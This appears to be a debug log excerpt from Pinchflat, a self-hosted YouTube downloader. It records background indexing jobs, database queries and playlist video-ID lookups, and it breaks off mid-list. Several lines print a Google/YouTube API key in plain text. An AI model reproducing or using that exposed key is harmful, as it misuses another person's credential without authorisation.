16:07:03.144 [debug] QUERY OK source="media_items" db=0.2ms idle=97.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 16:07:03.145 [debug] QUERY OK source="tasks" db=0.1ms idle=92.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799898, 13, ~U[2026-02-10 22:07:03Z], ~U[2026-02-10 22:07:03Z]] 16:07:03.145 [info] {"args":{"id":13},"id":3799859,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":194772,"event":"job:stop","queue_time":499107,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:04.734 [info] {"args":{"id":14},"id":3799860,"meta":{},"system_time":1770761224734842919,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:04.735 [debug] QUERY OK source="sources" db=0.2ms idle=1589.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:07:04.735 [debug] QUERY OK source="settings" db=0.1ms idle=1583.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:04.735 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:04.735 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:04.735 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:07:04.736 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:04.736 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:04.834 [debug] QUERY OK source="media_items" db=0.6ms idle=98.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 16:07:04.835 [debug] QUERY OK source="media_items" db=1.0ms idle=99.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:07:04.836 [debug] QUERY OK source="tasks" db=0.1ms idle=100.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799899, 14, ~U[2026-02-10 22:07:04Z], ~U[2026-02-10 22:07:04Z]] 16:07:04.837 [info] {"args":{"id":14},"id":3799860,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101982,"event":"job:stop","queue_time":499907,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:05.736 [info] {"args":{"id":32},"id":3799861,"meta":{},"system_time":1770761225736703642,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:05.737 [debug] QUERY OK source="sources" db=0.1ms idle=900.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:07:05.737 [debug] QUERY OK source="settings" db=0.1ms idle=900.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:05.737 [debug] QUERY OK source="media_profiles" db=0.0ms idle=894.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:05.737 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:05.737 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 16:07:05.737 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:05.737 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:06.036 [debug] QUERY OK source="media_items" db=0.9ms idle=298.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", "ZciRYLMZ5IA", "DTAMCqI104A", ...] 16:07:06.038 [debug] QUERY OK source="media_items" db=1.2ms idle=299.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 16:07:06.038 [debug] QUERY OK source="tasks" db=0.1ms idle=301.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799900, 32, ~U[2026-02-10 22:07:06Z], ~U[2026-02-10 22:07:06Z]] 16:07:06.039 [info] {"args":{"id":32},"id":3799861,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":302269,"event":"job:stop","queue_time":455943,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:06.737 [info] {"args":{"id":4},"id":3799862,"meta":{},"system_time":1770761226737663787,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:06.737 [info] {"args":{"id":24},"id":3799863,"meta":{},"system_time":1770761226737719058,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:06.738 [debug] QUERY OK source="sources" db=0.1ms idle=698.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:07:06.738 [debug] QUERY OK source="sources" db=0.1ms idle=698.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 16:07:06.738 [debug] QUERY OK source="settings" db=0.1ms idle=692.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:06.738 [debug] QUERY OK source="settings" db=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:06.738 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:06.738 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:07:06.738 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:06.738 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:07:06.738 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:06.738 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 16:07:06.738 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:06.738 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:06.739 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:07:06.739 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:07:06.918 [debug] QUERY OK source="media_items" db=0.6ms idle=178.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 16:07:06.919 [debug] QUERY OK source="media_items" db=0.4ms idle=179.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:07:06.920 [debug] QUERY OK source="tasks" db=0.1ms idle=180.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799901, 4, ~U[2026-02-10 22:07:06Z], ~U[2026-02-10 22:07:06Z]] 16:07:06.920 [info] {"args":{"id":4},"id":3799862,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":182368,"event":"job:stop","queue_time":420326,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:07:07.029 [debug] QUERY OK source="media_items" db=0.5ms idle=109.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", 